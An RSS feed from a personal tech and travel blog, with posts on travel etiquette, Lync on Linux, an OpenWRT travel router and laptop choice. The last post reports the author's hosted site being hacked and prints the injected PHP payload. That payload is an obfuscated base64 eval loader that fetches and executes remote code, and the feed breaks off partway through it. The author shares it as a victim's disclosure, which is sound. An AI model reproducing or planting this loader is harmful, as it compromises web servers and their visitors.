<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>You are such a geek...</title>
	<atom:link href="http://geekyschmidt.com/feed" rel="self" type="application/rss+xml" />
	<link>http://geekyschmidt.com</link>
	<description>Binary makes me giggle</description>
	<lastBuildDate>Sat, 08 Jun 2013 08:53:34 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Travel Tips from a Frequent Traveler</title>
		<link>http://geekyschmidt.com/2013/06/08/travel-advice</link>
		<comments>http://geekyschmidt.com/2013/06/08/travel-advice#comments</comments>
		<pubDate>Sat, 08 Jun 2013 07:53:42 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://geekyschmidt.com/?p=1993</guid>
		<description><![CDATA[<p>&#8220;Friends, Romans, countrymen, lend me your ears!&#8221; This year alone I have been in 12 countries and accumulated over 500k miles of travel and want to share my tips and tricks to make us better citizens of the globe. I want to provide some tips from my many days on the road. It is my [...]]]></description>
				<content:encoded><![CDATA[<p>&#8220;Friends, Romans, countrymen, lend me your ears!&#8221; This year alone I have been in 12 countries and accumulated over 500k miles of travel and want to share my tips and tricks to make us better citizens of the globe. I want to provide some tips from my many days on the road. It is my hope this transforms you from clueless tourist to world citizen.</p>
<ul>
<li><strong>Learn the basic language - </strong>The quickest and easiest way to make connections with people is to approach them with their <a href="http://www.omniglot.com/language/phrases/" target="_blank">native tongue</a>. You will be surprised after being a few places how easy it is to pickup &#8220;Hello and Goodbye&#8221; and &#8220;Please and Thank You&#8221;</li>
</ul>
<ul>
<li><strong>Read about the local culture, history, and events important in the place you are visiting - </strong>This is partly security related and somewhat perspective. When you know about the locals&#8217; current events you can get a first hand perspective. Our news coverage of the world is somewhat lacking. Additionally if there are demonstrations near a place you want to visit, you should probably shift the schedule.</li>
</ul>
<ul>
<li><strong>Learn and program into your phone taxi, emergency, hotel, and embassy numbers and address - </strong>Heaven forbid you need them, but you will be glad you have them when you are in a sticky situation. Please have a POC in the states you check with every day or so and register for the <a href="https://step.state.gov/step/" target="_blank">Safe Traveler Enrollment Program </a>with the US State Department. In your wallet or purse you should put some of these on written paper. You&#8217;d be surprised how fast your battery goes on the phone.</li>
</ul>
<ul>
<li><strong>Never use the words odd, weird, silly, or anything else comparative - </strong>Their culture isn&#8217;t odd or weird. You are the oddball out here. I was at a very nice social gathering where the cook came out to the floor to see the tourists. His food was delicious, but I could see the dismay when the others started calling it the weirdest thing they have seen on a plate. His goodwill was shattered by their words.</li>
</ul>
<ul>
<li><strong>Do not turn down gifts or meals from locals - </strong>Those who know me can tell you I struggle with gifts as I hate them. In other places though you accept that it&#8217;s a sign of peace and friendship and you accept. I have eaten many of places and drank many of mixes I hate, but it is worth it for the personal connections you make.</li>
</ul>
<ul>
<li><strong>Do not go to chain restaurants in the new place. Find a local or taxi driver and ask for their favourite local place - </strong>It kills me when I see a group of Americans walk into TGIF or McDonalds in a foreign land. Why travel around the globe to eat the same thing you get at home? The best way for recommendations (Yelp and Qype aren&#8217;t always prevalent in other places) is to ask taxi drivers or the hotel staff. Ignore the concierge as they usually get kicks for sending you to places. If you do go to the place they recommend make sure you let them know your thoughts on return.</li>
</ul>
<ul>
<li><strong>Do not ask for an English menu. Unless you have an allergy issue simply ask them to bring you their best - </strong>English menu&#8217;s are usually a few revisions behind the usual and full of meals designed for you, the boring person. Find the person who speaks a common language with you and ask them to bring you their best dish. The cook will be happy for the challenge and you are going to get a great local taste.</li>
</ul>
<ul>
<li><strong>Try the local beer and wine. Do not have an American beer - </strong>There I was sitting in Southern Germany in a Biergarten watching an American group order a mixture of Coronas, Bud Light, and a Natty. I did my best not to yell at them. Try the local brews! Sometimes the local beer is crap. But if you don&#8217;t try them you will never know.</li>
</ul>
<ul>
<li><strong>Patience and a smile will get you a long way -</strong> Things aren&#8217;t going to go as smoothly as you hoped. There are going to be issues. Getting angry or upset is not going to help your situation, but a smile and a dose of patience will help you chill out, keep your head clear, and make good decisions.</li>
</ul>
<ul>
<li><strong>When speaking with someone remove your sun glasses and make eye contact. Your words are not understood, but eyes are universal - </strong>The eyes are a funny window into someone. I have plenty of examples of being stuck somewhere and between my Dutch, German, English, and eye contact getting to something I needed. This is especially true in hostile situations. Take your glasses off.</li>
</ul>
<ul>
<li><strong>Be flexible and have backup plans. Don&#8217;t get stuck - </strong>This is more of a security tip than anything. You should always have two paths in and out of the place you are at. Be aware of your surroundings and have your head on a swivel. Also the travel guides are usually pretty bad and you may make plans to visit somewhere to find it closed. Have a Plan B ready.</li>
</ul>
<ul>
<li><strong>Have an unlocked mobile and local phone SIM card - </strong><a href="http://prepaidgsm.net/" target="_blank">SIM cards are cheap in foreign countries</a> usually and it lets you have access to the internet at reasonable prices. You never realize how much you miss Google Maps till you are wandering looking for something. Americans rarely have unlocked phones (it&#8217;s finally changing!) and are perplexed when their CDMA phones do not work in other places. Keep in mind that GSM (Tmobile and AT&amp;T) will have a better chance on working around the world than your CDMA (Sprint and Verizon) phones.</li>
</ul>
<ul>
<li><strong>Pack lightly and leave space for things - </strong>I can&#8217;t tell you the amount of times I have bought a small suitcase to ferry a cool souvenir back. Now I pack with that in mind.</li>
</ul>
<ul>
<li><strong>Do not compare. This country exists separate your own. Yes it&#8217;s different. That&#8217;s the point - </strong>I don&#8217;t like to hear people compare this place to their place. When not in earshot of others feel free to compare your world to theirs, but in public places it is rude.</li>
</ul>
<ul>
<li><strong>Meet people. Meet them everywhere you can - </strong>Tourists many times visit the sights, but not the people. My memories of places many times are solidified by the relationships I made vs. the things I saw. Bar tenders and taxi drivers are great first contacts.</li>
</ul>
<ul>
<li><strong>Encrypt your phone and laptop. Shut them down when not in use. Lock your things up in the hotel room, but know it doesn&#8217;t mean security - </strong>Don&#8217;t be a security risk. The safe in your hotel room is very inadequate, but its better than nothing. Plan on your stuff being stolen and treat as such. Encryption, passcodes, and storage are all good ways to protect against.</li>
</ul>
<ul>
<li><strong>Don&#8217;t yell or talk loud. It makes you look like an idiot - </strong>Oh you don&#8217;t speak French? I can assure you that saying in English the same thing only louder and slower is not going to help. Hand signals, translation books/apps, and looking for a young person (more likely to speak English) are better ideas.</li>
</ul>
<ul>
<li><strong>The public transportation can be super convenient, but take a car and drive off the path. Most countries hide their gems away from those unwilling to find them - </strong>My favourite times have been road trips across a country. When I talk to my foreign friends and they tell me their view of America is based on New York and L.A. I cringe. Rent a car for a day or two and drive to the countryside. Most of the time its a great road trip and you see things not many others have. Also listen to the local radio stations when traveling. It helps you &#8220;hear&#8221; the local tongue and culture.</li>
</ul>
<ul>
<li><strong>Please do not wear a fanny pack</strong></li>
</ul>
<ul>
<li><span style="text-decoration: underline;"><strong>Have fun and don&#8217;t be an asshole</strong></span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://geekyschmidt.com/2013/06/08/travel-advice/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft Lync on Linux</title>
		<link>http://geekyschmidt.com/2013/05/18/microsoft-lync-on-linux</link>
		<comments>http://geekyschmidt.com/2013/05/18/microsoft-lync-on-linux#comments</comments>
		<pubDate>Sat, 18 May 2013 08:02:43 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Techie]]></category>
		<category><![CDATA[Techie Stuff]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lync]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[pidgin]]></category>

		<guid isPermaLink="false">http://geekyschmidt.com/?p=1988</guid>
		<description><![CDATA[<p>Microsoft Lync is prevalent through the corporate world. Honestly its a pretty decent product on a Windows machine. On Linux and Mac though it is really a half-baked product of varying working status. On Mac the official client burns through your battery due to requiring the Nvidia graphics card on my <a href="https://twitter.com/oneguynick/status/287115562293809152" target="_blank">Retina Pro??</a></p> [...]]]></description>
				<content:encoded><![CDATA[<p>Microsoft Lync is prevalent through the corporate world. Honestly its a pretty decent product on a Windows machine. On Linux and Mac though it is really a half-baked product of varying working status. On Mac the official client burns through your battery due to requiring the Nvidia graphics card on my <a href="https://twitter.com/oneguynick/status/287115562293809152" target="_blank">Retina Pro??</a></p>
<p>I am a big fan on Pidgin (or Adium on the Mac) and have been struggling to get Lync support working on Mac/Linux using this client. Today I was finally able to connect.</p>
<p>To get started:</p>
<ul>
<li><span style="line-height: 14px;">sudo apt-get install pidgin pidgin-sipe</span></li>
<li>Instead of opening Pidgin using the supplied icon shortcut, you will need to open a terminal and execute the following. If you do this often it would be better to create a script or modify the shortcut: <em>export NSS_SSL_CBC_RANDOM_IV=0 pidgin</em>
<ul>
<li>Without the above you will get Read Error when you try to connect. For whatever reason the current versions of Pidgin and Pidgin-sipe on Debian/Ubuntu do this.</li>
</ul>
</li>
<li>Add an account using your the exact same settings as Lync on Windows or Mac. The key modifications here are to specify in the Advanced tab the following items:
<ul>
<li>Server and port if you have them. Some servers are configured to use :443 instead of the default. You should check the account settings on the Windows or Mac setup</li>
<li>Connection type is most likely SSL/TLS so start there</li>
<li>User Agent should be: <em>UCCAPI/4.0.7577.314 OC/4.0.7577.314 (Microsoft Lync 2010)</em></li>
<li>NTLM selected as the authentication mode. You can try to use Kerberos if your overall system is setup for it, but it was not applicable to me.</li>
</ul>
</li>
<li>Success!</li>
</ul>
<p>There are some shortcomings to this setup. Audio/Video between a Windows/Mac client to Pidgin does not function. Pidgin to Pidgin is no issue though. For simple text chat you will be fine with the above though.</p>
]]></content:encoded>
			<wfw:commentRss>http://geekyschmidt.com/2013/05/18/microsoft-lync-on-linux/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://geekyschmidt.com/2012/08/19/1965</link>
		<comments>http://geekyschmidt.com/2012/08/19/1965#comments</comments>
		<pubDate>Sun, 19 Aug 2012 21:31:17 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[SpecOpsTechnology]]></category>
		<category><![CDATA[Techie]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[router]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[tech]]></category>

		<guid isPermaLink="false">http://geekyschmidt.com/?p=1965</guid>
		<description><![CDATA[<p>&#8212;- Cross Post from the Spec Ops Technology Blog &#8212;-</p> <p><a href="http://specopstechnology.com">Spec Ops Technology</a> prides itself on taking difficult problems and providing practical engineering solutions. Quite often this real world experience is born of a real world problem we personally faced. There is a passion we look for in our engineers that breeds a team that, [...]]]></description>
				<content:encoded><![CDATA[<p>&#8212;- Cross Post from the Spec Ops Technology Blog &#8212;-</p>
<p><a href="http://specopstechnology.com">Spec Ops Technology</a> prides itself on taking difficult problems and providing practical engineering solutions. Quite often this real world experience is born of a real world problem we personally faced. There is a passion we look for in our engineers that breeds a team that, by nature, develops creative fixes.</p>
<p>As the United and Lufthansa ticket counters can attest, I spend a lot of time on the road. In today&#8217;s connected world I depend on a secure and platform agnostic internet connection. There a few major hurdles that make this difficult:</p>
<ol>
<li>Wifi is platform agnostic in most business friendly locations, but is limiting in how access is permitted. For example many of us travel with a cadre of smart phones, tablets, and laptops and these hotspots will lock access to one device.</li>
<li>In cases where the network is setup to share a single WAN connection users are stuck sharing a common switched environment. Do you trust the person next to you with your username and password? On a flat network, you do.</li>
</ol>
<p>We have had great experience with <a href="http://specopstechnology.com/index.php/products/">Piglet, Astra,</a> and Linux porting has so I began to scour the <a href="http://openwrt.org">OpenWRT</a> pages for a compatible router that would allow me to build a custom image for my uses. The requirements were simple:</p>
<ul>
<li>Multiple network modes:</li>
</ul>
<ol>
<ul>
<li>Standard router for sharing ethernet WAN connections to multiple clients via Wifi</li>
<li>Share a USB 3G connection like those found from prepaid GSM vendors around the globe and then share the connection to multiple clients via Wifi</li>
<li>Take an already established Wifi network and rebroadcast to a private Wifi connection. In the industry this is sometimes called WISP</li>
</ul>
</ol>
<ul>
<li>End-point VPN terminations via SSH, OpenVPN, PPTP, and IPSEC. With multiple VPN technologies accessible, it is possible to bypass restrictive firewalls and setups. While PPTP and IPSEC are often blocked, OpenVPN running on TCP 443 or SSH are rarely captured</li>
<li>Transparent TOR proxies to all clients</li>
<li>Extending wireless networks for expanding coverage to fringe clients</li>
<li>Powered by a standard USB port</li>
</ul>
<p>There are a few challenges with Travel Routers on the market that made the above requirements difficult to meet. The routers in OEM configuration very rarely support any type of VPN endpoint configuration, let alone something like TOR for bypassing and &#8220;anonymizing&#8221; prying eyes. If they do support an open porting environment they often do so with severely limited memory and CPU.</p>
<p>Enter the <a href="http://www.tp-link.com/en/products/details/?model=TL-MR3020">T-Link MR3020</a>&#8230;</p>
<p><img class="alignright" title="T-Link MR3020" src="http://specopstechnology.com/files/4613/4521/9308/TL-MR3020-portable-3g-wireless-router_large_verge_medium_landscape.jpeg" alt="MR3020" /></p>
<p>The MR3020 is a neat little router on its own merits before we tear it apart and replace the internals, but the real power comes from the USB port and its standard AR9331 chipset. <a href="http://wiki.openwrt.org/toh/tp-link/tl-mr3020">OpenWRT</a> provides documented support in the trunk release (the daily code releases not necessarily for common users) and is getting more stable each passing day.</p>
<p>After installing a mini-USB storage connection and moving the package installation to it, I was able to meet all the above requirements. While traveling I now enjoy:</p>
<ul>
<li>USB port power allows me to use the device anytime I have my laptop without needing to hunt for wall plugs.</li>
<li>The ability to rebroadcast wifi points allows me to hide my own WPA2 encrypted network (as opposed to sharing a flat network (and thereby the security issues associated).</li>
<li>With VPN endpoint support I can initiate a single VPN connection from the travel router to secure access points around the globe and then share that single connection to my phones, tablets, and laptops.</li>
<li>Transparent TOR access allows for anonymizing access when needed.</li>
<li>Netflix and Hulu access from abroad for those times jet lag gets the best of me.</li>
<li>QOS and Layer 7 filtering make sure those very limited connections in hotel rooms provide adequate throughput for my needs. As an example when you are on a VOIP call and trying to pull large emails, who wins? I know with my setup.</li>
<li>Linux IPTABLES firewall provides for enterprise-grade security and protection from those WAN connections.</li>
<li>Storage sharing between devices; this is great for management of large multimedia files while traveling.</li>
</ul>
<p>This all sounds great for a personal user, but what does this work provide Spec Ops customers?</p>
<ul>
<li>With the flexibility of Linux and a small low-power router we are able to deploy flexible solutions.</li>
<li>The USB port and Linux kernel means that we can add Serial ports or 429 buses for integration of IP and military networks in places that would commonly require a large x86 computer.</li>
<li>USB video adapters mean providing data displays in a secure, read-only, and low-power setup.</li>
<li>We can leverage small 5 volt sensors (EOP, Data Link configurations, etc.) and not the larger systems so often installed.</li>
<li>Without the need for a full Cisco or Juniper router, provide OSPF and complex routing to vehicles and airborne platforms.</li>
<li>Secure and anonymous access to the headquarters from any location that has Internet access.</li>
</ul>
<p>In the end it is all about Spec Ops Technology&#8217;s ability to take real-world experience and convert it into usable products and services. All too often, in this community, the standard off the shelf components are not a good fit. Having a team with the know how and background to create small niche products gives our customers an edge in whatever mission they are tackling.</p>
]]></content:encoded>
			<wfw:commentRss>http://geekyschmidt.com/2012/08/19/1965/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dual Time Machine Locations</title>
		<link>http://geekyschmidt.com/2012/08/17/dual-time-machine-locations</link>
		<comments>http://geekyschmidt.com/2012/08/17/dual-time-machine-locations#comments</comments>
		<pubDate>Fri, 17 Aug 2012 11:17:02 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Techie]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[time machine]]></category>

		<guid isPermaLink="false">http://geekyschmidt.com/?p=1959</guid>
		<description><![CDATA[<p>Apple must have been reading my blog when I wrote-up how to use <a href="http://geekyschmidt.com/2011/12/29/dual-time-machine-wielding-backups">two locations for Time Machine</a>. Now in Mountain Lion it is built in and is much more seamless than my band-aid hack. Backups were always such an elusive concept for people, but Apple has really done a great job here. If you own [...]]]></description>
				<content:encoded><![CDATA[<p>Apple must have been reading my blog when I wrote-up how to use <a href="http://geekyschmidt.com/2011/12/29/dual-time-machine-wielding-backups">two locations for Time Machine</a>. Now in Mountain Lion it is built in and is much more seamless than my band-aid hack. Backups were always such an elusive concept for people, but Apple has really done a great job here. If you own a Mac and do not use Time Machine&#8230;shame&#8230;</p>
<p>The two locations here are a Whole Disk Encrypted external FW drive and a Debian file server with an encrypted volume.</p>
<p><a href="http://geekyschmidt.com/wp-content/uploads/2012/08/Time-Machine-Dual.png" rel="lightbox[1959]"><img class="aligncenter size-full wp-image-1960" title="Time Machine Dual" src="http://geekyschmidt.com/wp-content/uploads/2012/08/Time-Machine-Dual.png" alt="" width="668" height="445" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://geekyschmidt.com/2012/08/17/dual-time-machine-locations/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Race to the median travel screen&#8230;</title>
		<link>http://geekyschmidt.com/2012/08/12/race-to-the-median-travel-screen</link>
		<comments>http://geekyschmidt.com/2012/08/12/race-to-the-median-travel-screen#comments</comments>
		<pubDate>Mon, 13 Aug 2012 03:08:12 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Techie Stuff]]></category>

		<guid isPermaLink="false">http://geekyschmidt.com/?p=1954</guid>
		<description><![CDATA[<p>TL;DR &#8211; Sometimes the smallest laptop isn&#8217;t the best option for a traveler. If you live on one machine then maybe sucking up the weight for power isn&#8217;t a bad idea. If you have a tablet then there is no question</p> <p>My apologies to my blog readers for two things:</p> That my blog has not [...]]]></description>
				<content:encoded><![CDATA[<p><strong>TL;DR &#8211; Sometimes the smallest laptop isn&#8217;t the best option for a traveler. If you live on one machine then maybe sucking up the weight for power isn&#8217;t a bad idea. If you have a tablet then there is no question</strong></p>
<p>My apologies to my blog readers for two things:</p>
<ol>
<li>That my blog has not been updated in N+1 more months than it should have</li>
<li>That it has taken a very travel oriented slant as of late</li>
</ol>
<p>I blame both on starting an international engineering firm, but it has forced me to change my habits (what do you mean I don&#8217;t have time to blog on only 4 hours of sleep!?!) and learn to get smarter with my travel.</p>
<p>In my list of essential travel technology I had listed the iPad and 11&#8243; MacBook Air as the perfect travel setup and I hold to this assertion for those of you in extreme travel situations. For me though, the 11&#8243; MacBook Air is getting REALLY old when stuck in a hotel room dialed into a bridge trying to present a spreadsheet (scroll&#8230;scroll&#8230;.scroll&#8230;) or realizing your neck is killing you. It&#8217;s just not a great machine to be stationary with.</p>
<p>For some reason my eyes are getting worse with age and not improving like a good bottle of Scotch. I have begun to reevaluate the setup and took note of my travel habits. It breaks down to this:</p>
<ol>
<li>Arrive at airport. Go through security and find the lounge.</li>
<li>Sit down and work until the last possible minute and then head over to the gate.</li>
<li>Get on the plane and use my iPad to hunt-and-peck type quick replies for the landing.</li>
<li>Walk to rental car or towncar and ride to hotel.</li>
</ol>
<p>I began to think back to when I had done serious work on my tray table with the Air I couldn&#8217;t have completed with a bluetooth keyboard and the iPad. Tough realization was that other than some Virtual Machine and coding work (which was more related to boredom than need at 35,000 feet) I had entirely lived on my iPad and iPhone on the plane. It is a royal pain in the arse to pull the laptop out and connect the power adapter between the seats up. The iPad battery life is phenomenal for this and it has become my goto for travel.</p>
<p>So the Air saves me one thing and that&#8217;s weight running through an airport. The lack of horsepower at home with coding and Virtual Machines (4GB OF MEMORY ONLY?!!?) is  making my pipe dream of a single travel/home machine less realistic.</p>
<p>It sounds like I am dogging the MacBook Air and its truly not the case. I have owned every 11&#8243; model since Steve Jobs released them and if I was backpacking around Asia or something I wouldn&#8217;t think twice about buying this new model, but for life now its just not a good fit. As a great blog writer put it &#8220;buy the computer that fits your needs today, not tomorrow.&#8221;</p>
<p>I punch this blog post out from 35,000 feet along with a volley of emails (hi team! I am flying so I am catching up on notes!) on the Zagg portfolio case. It&#8217;s not perfect, but it would be helluva lot better if I knew I was going to my heavy lifting on a screen later that wasn&#8217;t the same size.</p>
]]></content:encoded>
			<wfw:commentRss>http://geekyschmidt.com/2012/08/12/race-to-the-median-travel-screen/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dreamhost was hacked</title>
		<link>http://geekyschmidt.com/2012/03/12/dreamhost-was-hacked</link>
		<comments>http://geekyschmidt.com/2012/03/12/dreamhost-was-hacked#comments</comments>
		<pubDate>Mon, 12 Mar 2012 13:02:29 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Techie]]></category>

		<guid isPermaLink="false">http://geekyschmidt.com/?p=1948</guid>
		<description><![CDATA[<p>It is highly infuriating to be a security person and have your own house knocked down. This was the case if you visited my site as of late and found broken links and spam spewed across it. This was not due to my own security mishaps. This website is:</p> Scanned daily by WSD Security script Multifactor authenticated [...]]]></description>
				<content:encoded><![CDATA[<p>It is highly <span style="text-decoration: underline;"><strong>infuriating</strong></span> to be a security person and have your own house knocked down. This was the case if you visited my site as of late and found broken links and spam spewed across it. This was not due to my own security mishaps. This website is:</p>
<ol>
<li>Scanned daily by WSD Security script</li>
<li>Multifactor authenticated with a Yubikey for all logins and edits</li>
<li>Weekly backup sent to offsite</li>
<li>Strong passwords across the board</li>
<li>Check for updates weekly and subscribe to security lists</li>
</ol>
<p>As we say in the security world if you lock the doors, but leave the windows open your security is not that strong. Hence was the case with my hosted site here. I locked the doors, but dreamhost left wide-open the windows. I have been a paying customer since 2007 and will now be looking for a new host. Here is the hack below:</p>
<p><span id="more-1948"></span></p>
<p>Every php file in the Concrete5 and WordPress installs included a new base64 script. This was to hide the true intent of the script to the naked eye (unless you read base64)</p>
<blockquote>
<p style="text-align: left;">&lt;?php /**/ eval(base64_decode(&#8220;aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdG